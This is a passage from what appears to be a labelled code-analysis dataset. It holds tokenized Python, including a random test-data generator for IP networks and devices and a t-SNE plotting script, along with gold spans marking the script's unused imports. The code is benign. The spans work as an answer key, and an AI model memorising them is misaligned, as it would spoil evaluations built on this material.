"Thi", "s", " ", "is", " ", "a", " ", "total", " ", "hack", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "num", "\\u", "items", ":", "\\", "10", ";", " ", " ", " ", " ", "Number", " ", "of", " ", "items", " ", "to", " ", "generat", "e", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "include", "\\u", "host", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "Whe", "ther", " ", "to", " ", "include", " ", "/", "32", " ", "addresse", "s", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ipse", "t_", "=_", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Keep", " ", "iterati", "ng", " ", "and", " ", "hack", " ", "tog", "ether", " ", "cid", "r", " ", "prefix", "es", " ", "if", " ", "we", " ", "detect", " ", "empty_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "trail", "ing", " ", "oct", "ect", "s", ".", " ", "Thi", "s", " ", "is", " ", "so", " ", "lame", " ", "tha", "t", " ", "we", "'", "ll", " ", "most", "ly", " ", "just", " ", "end", " ", "up", " ", "with", " ", "a_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "bunch", " ", "of", " ", "/", "24", " ", "network", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "while_", "len_", "(_", "ipse", "t_", ")_", "<_", "num", "\\u", "items_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ip_", "=_", "generat", "e\\u", "ipv4_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "ip_", "._", "startswith_", "(_", "'", "0", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "ip_", "._", "endswith_", "(_", "'.", "0.", "0.", "0", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "prefix_", "=_", "'/", "8", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "ip_", "._", "endswith_", "(_", "'.", "0.", "0", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "prefix_", "=_", "'/", "16", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "ip_", "._", "endswith_", "(_", "'.", "0", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "prefix_", "=_", "'/", "24", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "include", "\\u", "hosts_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "prefix_", "=_", "'/", "32", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ip_", "+=_", "prefix_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ipse", "t_", "._", "add_", "(_", "ip_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "sorted_", "(_", "ipse", "t_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "enumerate", "\\u", "attributes_", "(_", "resource", "\\u", "name_", ",_", "attributes_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "attributes_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "attributes_", "=_", "ATTRIBUTE", "\\u", "DATA_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "name_", "in_", "attributes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "{_", "'", "name", "'_", ":_", "name_", ",_", "'", "resource", "\\u", "name", "'_", ":_", "resource", "\\u", "name_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "generat", "e\\u", "attributes_", "(_", "attributes_", "=_", "None_", ",_", "as", "\\u", "dict_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Random", "ly", " ", "choose", " ", "attribute", "s", " ", "and", " ", "values", " ", "for", " ", "testi", "ng", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "attribute", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "Dict", "ionar", "y", " ", "of", " ", "attribute", " ", "names", " ", "and", " ", "values", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "as", "\\u", "dict", ":", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "set", " ", "return", " ", "a", " ", "dict", " ", "vs", ".", " ", "list", " ", "of", " ", "Attribute", " ", "object", "s", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "attributes_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "attributes_", "=_", "ATTRIBUTE", "\\u", "DATA_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "attrs_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "attr", "\\u", "name_", ",_", "attr", "\\u", "values_", "in_", "attributes_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "random_", "._", "choice_", "(_", "(_", "True_", ",_", "False_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "attr", "\\u", "value_", "=_", "random_", "._", "choice_", "(_", "attr", "\\u", "values_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "attrs_", "._", "append_", "(_", "Attribute_", "(_", "attr", "\\u", "name_", ",_", "attr", "\\u", "value_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "as", "\\u", "dict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "attrs_", "=_", "dict_", "(_", "attrs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "attrs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "generat", "e\\u", "devices_", "(_", "num", "\\u", "items_", "=_", "100_", ",_", "with", "\\u", "attributes_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", " ", "a", " ", "list", " ", "of", " ", "dict", "s", " ", "for", " ", "Dev", "ice", " ", "creati", "on", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "num", "\\u", "items", ":", "\\", "10", ";", " ", " ", " ", " ", "Number", " ", "of", " ", "items", " ", "to", " ", "generat", "e", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "with", "\\u", "attribute", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "Whe", "ther", " ", "to", " ", "include", " ", "Attribute", "s", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hostnames", "_", "=_", "generat", "e\\u", "hostnames", "_", "(_", "num", "\\u", "items_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "devices_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "hostname_", "in_", "hostnames", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "item_", "=_", "{_", "'", "host", "name", "'_", ":_", "hostname_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "with", "\\u", "attributes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "attributes_", "=_", "generat", "e\\u", "attributes_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "item_", "[_", "'", "attribute", "s", "'_", "]_", "=_", "attributes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "yield_", "item_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "device", "s", ".", "append", "(", "item", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "return", " ", "devices_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "generat", "e\\u", "networks_", "(_", "num", "\\u", "items_", "=_", "100_", ",_", "with", "\\u", "attributes_", "=_", "True_", ",_", "include", "\\u", "hosts_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", " ", "a", " ", "list", " ", "of", " ", "dict", "s", " ", "for", " ", "Network", " ", "creati", "on", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "num", "\\u", "items", ":", "\\", "10", ";", " ", " ", " ", " ", "Number", " ", "of", " ", "items", " ", "to", " ", "generat", "e", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "with", "\\u", "attribute", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "Whe", "ther", " ", "to", " ", "include", " ", "Attribute", "s", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ipv", "4", "list_", "=_", "generat", "e\\u", "ipv", "4", "list_", "(_", "num", "\\u", "items_", ",_", "include", "\\u", "hosts_", "=_", "include", "\\u", "hosts_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "networks_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "cidr_", "in_", "ipv", "4", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "attributes_", "=_", "generat", "e\\u", "attributes_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "item_", "=_", "{_", "'", "cid", "r", "'_", ":_", "cidr_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "with", "\\u", "attributes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "attributes_", "=_", "generat", "e\\u", "attributes_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "item_", "[_", "'", "attribute", "s", "'_", "]_", "=_", "attributes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "networks_", "._", "append_", "(_", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "networks_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "rand", "o", "\\u", "set\\u", "action_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "random_", "._", "choice_", "(_", "[_", "'+'_", ",_", "'-'_", ",_", "''_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "rand", "o", "\\u", "set\\u", "query_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "action_", "=_", "rand", "o", "\\u", "set\\u", "action_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'", " ", "'_", "._", "join_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "action_", "+_", "'%", "s", "=", "%", "s", "'_", "%_", "(_", "k_", ",_", "v_", ")_", "for_", "k_", ",_", "v_", "in_", "generat", "e\\u", "attributes_", "(_", ")_", "._", "iteritems_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 0, 1, 2, 2, 2, 2, 2, 2, 0, 1, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
dhiana/pretty_tsne/pretty_tsne.py
[ { "content": "import argparse\n\n# That's an impressive list of imports.\nimport numpy as np\nfrom numpy import linalg\nfrom numpy.linalg import norm\nfrom scipy.spatial.distance import squareform, pdist\nimport pandas as pd\n\n# We import sklearn.\nimport sklearn\nfrom sklearn.manifold import TSNE\nfrom sklearn.datasets import load_digits\nfrom sklearn.preprocessing import scale\n\n# We'll hack a bit with the t-SNE code in sklearn 0.15.2.\nfrom sklearn.metrics.pairwise import pairwise_distances\nfrom sklearn.manifold.t_sne import (_joint_probabilities,\n _kl_divergence)\nfrom sklearn.utils.extmath import _ravel\n\n# We'll use matplotlib for graphics.\nimport matplotlib.pyplot as plt\nimport matplotlib.patheffects as PathEffects\nimport matplotlib\n\n# We import seaborn to make nice plots.\nimport seaborn as sns\nsns.set_style('darkgrid')\nsns.set_palette('muted')\nsns.set_context(\"notebook\", font_scale=1.5,\n rc={\"lines.linewidth\": 2.5})\n\n# We'll generate an animation with matplotlib and moviepy.\nfrom moviepy.video.io.bindings import mplfig_to_npimage\nimport moviepy.editor as mpy\n\n# Random state.\nRS = 20150101\nDEBUG = False\n\n\n\n\n\n\n\n\n\n\n\n\nif __name__ == '__main__':\n # parsing input data\n args = _parse_file_argument()\n input_data = pd.read_csv(args.csv_file)\n\n # treating missing data\n input_data.fillna(0, inplace=True)\n\n # treating label column\n label_column = args.label\n labels = input_data[label_column].values\n input_data.drop(label_column, axis=1, inplace=True)\n features = input_data.columns.values\n\n # Important part ;)\n tsne_proj = TSNE(random_state=RS).fit_transform(input_data)\n\n # Save projecton as csv\n df = pd.DataFrame(index=labels, data=tsne_proj, columns=['x', 'y'])\n df.to_csv('data/tsne.csv', index_label='label')\n\n # 2d visualization\n scatter(tsne_proj)\n plt.savefig('images/tsne.png', dpi=120)\n\n # Monkey patch in order to track model evolution\n sklearn.manifold.t_sne._gradient_descent = _gradient_descent\n # Positions of the map points at every iteration.\n positions = []\n X_proj = TSNE(random_state=RS).fit_transform(tsne_proj)\n X_iter = np.dstack(position.reshape(-1, 2) for position in positions)\n f, ax, sc = scatter(X_iter[..., -1])\n animation = mpy.VideoClip(make_frame_mpl, duration=X_iter.shape[2] / 40.)\n animation.write_gif(\"images/tsne.gif\", fps=20)\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def scatter(x):\n # We choose a color palette with seaborn.\n palette = np.array(sns.color_palette(\"hls\", 10))\n\n # We create a scatter plot.\n f = plt.figure(figsize=(8, 8))\n ax = plt.subplot(aspect='equal')\n sc = ax.scatter(x[:, 0], x[:, 1], lw=0, s=40)\n plt.xlim(-25, 25)\n plt.ylim(-25, 25)\n ax.axis('off')\n ax.axis('tight')\n\n return f, ax, sc", "metadata": "root.scatter", "header": "['module', '___EOS___']", "index": 42 }, { "content": "def _gradient_descent(objective, p0, it, n_iter, n_iter_without_progress=30,\n momentum=0.5, learning_rate=1000.0, min_gain=0.01,\n min_grad_norm=1e-7, min_error_diff=1e-7, verbose=0,\n args=[]):\n # The documentation of this function can be found in scikit-learn's code.\n p = p0.copy().ravel()\n update = np.zeros_like(p)\n gains = np.ones_like(p)\n error = np.finfo(np.float).max\n best_error = np.finfo(np.float).max\n best_iter = 0\n\n for i in range(it, n_iter):\n # We save the current position.\n positions.append(p.copy())\n\n new_error, grad = objective(p, *args)\n error_diff = np.abs(new_error - error)\n error = new_error\n grad_norm = linalg.norm(grad)\n\n if error < best_error:\n best_error = error\n best_iter = i\n elif i - best_iter > n_iter_without_progress:\n break\n if min_grad_norm >= grad_norm:\n break\n if min_error_diff >= error_diff:\n break\n\n inc = update * grad >= 0.0\n dec = np.invert(inc)\n gains[inc] += 0.05\n gains[dec] *= 0.95\n np.clip(gains, min_gain, np.inf)\n grad *= gains\n update = momentum * update - learning_rate * grad\n p += update\n\n return p, error, i", "metadata": "root._gradient_descent", "header": "['module', '___EOS___']", "index": 58 }, { "content": "def make_frame_mpl(t):\n i = int(t * 40)\n x = X_iter[..., i]\n sc.set_offsets(x)\n return mplfig_to_npimage(f)", "metadata": "root.make_frame_mpl", "header": "['module', '___EOS___']", "index": 101 }, { "content": "def _parse_file_argument():\n parser = argparse.ArgumentParser(\"t-SNE commandline tool\")\n parser.add_argument('--csv_file',\n help='input csv filename')\n parser.add_argument('--label',\n help='column name with label')\n args = parser.parse_args()\n return args", "metadata": "root._parse_file_argument", "header": "['module', '___EOS___']", "index": 108 }, { "content": "def _read_input_string(args):\n graph_file = args.graph_file\n graph_string = graph_file.readline().strip('\\n')\n graph_file.close()\n return graph_string", "metadata": "root._read_input_string", "header": "['module', '___EOS___']", "index": 118 } ]
[ { "span": "from numpy.linalg import norm", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 29 }, { "span": "from scipy.spatial.distance import squareform, pdist", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 52 }, { "span": "from sklearn.datasets import load_digits", "start_line": 12, "start_column": 0, "end_line": 12, "end_column": 40 }, { "span": "from sklearn.preprocessing import scale", "start_line": 13, "start_column": 0, "end_line": 13, "end_column": 39 }, { "span": "from sklearn.metrics.pairwise import pairwise_distances", "start_line": 16, "start_column": 0, "end_line": 16, "end_column": 55 }, { "span": "from sklearn.manifold.t_sne import (_joint_probabilities,\n _kl_divergence)", "start_line": 17, "start_column": 0, "end_line": 18, "end_column": 51 }, { "span": "from sklearn.utils.extmath import _ravel", "start_line": 19, "start_column": 0, "end_line": 19, "end_column": 40 }, { "span": "import matplotlib.patheffects as PathEffects", "start_line": 23, "start_column": 0, "end_line": 23, "end_column": 44 }, { "span": "import matplotlib", "start_line": 24, "start_column": 0, "end_line": 24, "end_column": 17 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "argparse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Tha", "t", "'", "s", " ", "an", " ", "impres", "sive", " ", "list", " ", "of", " ", "import", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "import_", "numpy_", "as_", "np_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "numpy_", "import_", "linalg_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "numpy_", "._", "linalg_", "import_", "norm_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "scipy_", "._", "spatial_", "._", "distance_", "import_", "square", "form_", ",_", "pdi", "st_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pandas_", "as_", "pd_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "We", " ", "import", " ", "skl", "earn", "._", "\\u\\u\\uNL\\u\\u\\u_", "import_", "sklearn_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sklearn_", "._", "mani", "fold_", "import_", "TS", "NE_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sklearn_", "._", "datasets_", "import_", "load", "\\u", "digits_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sklearn_", "._", "preprocessing_", "import_", "scale_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "We", "'", "ll", " ", "hack", " ", "a", " ", "bit", " ", "with", " ", "the", " ", "t", "-", "SN", "E", " ", "code", " ", "in", " ", "skl", "earn", " ", "0.15", ".2", "._", "\\u\\u\\uNL\\u\\u\\u_", "from_", "sklearn_", "._", "metrics_", "._", "pairwise", "_", "import_", "pairwise", "\\u", "distances_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sklearn_", "._", "mani", "fold_", "._", "t", "\\u", "sne", "_", "import_", "(_", "\\u", "joint", "\\u", "probabilities_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "kl", "\\u", "divergence", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sklearn_", "._", "utils_", "._", "ext", "math_", "import_", "\\u", "ravel_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "We", "'", "ll", " ", "use", " ", "mat", "plotlib", " ", "for", " ", "graphic", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "import_", "matplotlib_", "._", "pyplot_", "as_", "plt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "matplotlib_", "._", "path", "effects_", "as_", "Path", "Effe", "cts_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "matplotlib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "We", " ", "import", " ", "seabor", "n", " ", "to", " ", "make", " ", "nice", " ", "plots", "._", "\\u\\u\\uNL\\u\\u\\u_", "import_", "seabor", "n_", "as_", "sns_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sns_", "._", "set\\u", "style_", "(_", "'", "dark", "grid", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sns_", "._", "set\\u", "palette_", "(_", "'", "muted", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sns_", "._", "set\\u", "context_", "(_", "\"", "notebook", "\"_", ",_", "font", "\\u", "scale_", "=_", "1.5_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "rc_", "=_", "{_", "\"", "lines", ".", "line", "widt", "h", "\"_", ":_", "2.5_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "We", "'", "ll", " ", "generat", "e", " ", "an", " ", "animati", "on", " ", "with", " ", "mat", "plotlib", " ", "and", " ", "movie", "py", "._", "\\u\\u\\uNL\\u\\u\\u_", "from_", "movie", "py_", "._", "video_", "._", "io_", "._", "bindings_", "import_", "mpl", "fig", "\\u", "to", "\\u", "npi", "mage_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "movie", "py_", "._", "editor_", "as_", "mpy", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Random", " ", "state", "._", "\\u\\u\\uNL\\u\\u\\u_", "RS_", "=_", "20150", "101_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "DEBUG_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "pars", "ing", " ", "input", " ", "data_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "args_", "=_", "\\u", "parse", "\\u", "file", "\\u", "argument_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "input", "\\u", "data_", "=_", "pd_", "._", "read", "\\u", "csv_", "(_", "args_", "._", "csv", "\\u", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "treat", "ing", " ", "missi", "ng", " ", "data_", "\\u\\u\\uNL\\u\\u\\u_", "input", "\\u", "data_", "._", "fillna_", "(_", "0_", ",_", "inplace_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "treat", "ing", " ", "label", " ", "column_", "\\u\\u\\uNL\\u\\u\\u_", "label", "\\u", "column_", "=_", "args_", "._", "label_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "labels_", "=_", "input", "\\u", "data_", "[_", "label", "\\u", "column_", "]_", "._", "values_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "input", "\\u", "data_", "._", "drop_", "(_", "label", "\\u", "column_", ",_", "axis_", "=_", "1_", ",_", "inplace_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "features_", "=_", "input", "\\u", "data_", "._", "columns_", "._", "values_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Importa", "nt", " ", "part", " ", ";)", "_", "\\u\\u\\uNL\\u\\u\\u_", "ts", "ne", "\\u", "proj_", "=_", "TS", "NE_", "(_", "random", "\\u", "state_", "=_", "RS_", ")_", "._", "fit", "\\u", "transform_", "(_", "input", "\\u", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Save", " ", "project", "on", " ", "as", " ", "csv_", "\\u\\u\\uNL\\u\\u\\u_", "df_", "=_", "pd_", "._", "Data", "Frame_", "(_", "index_", "=_", 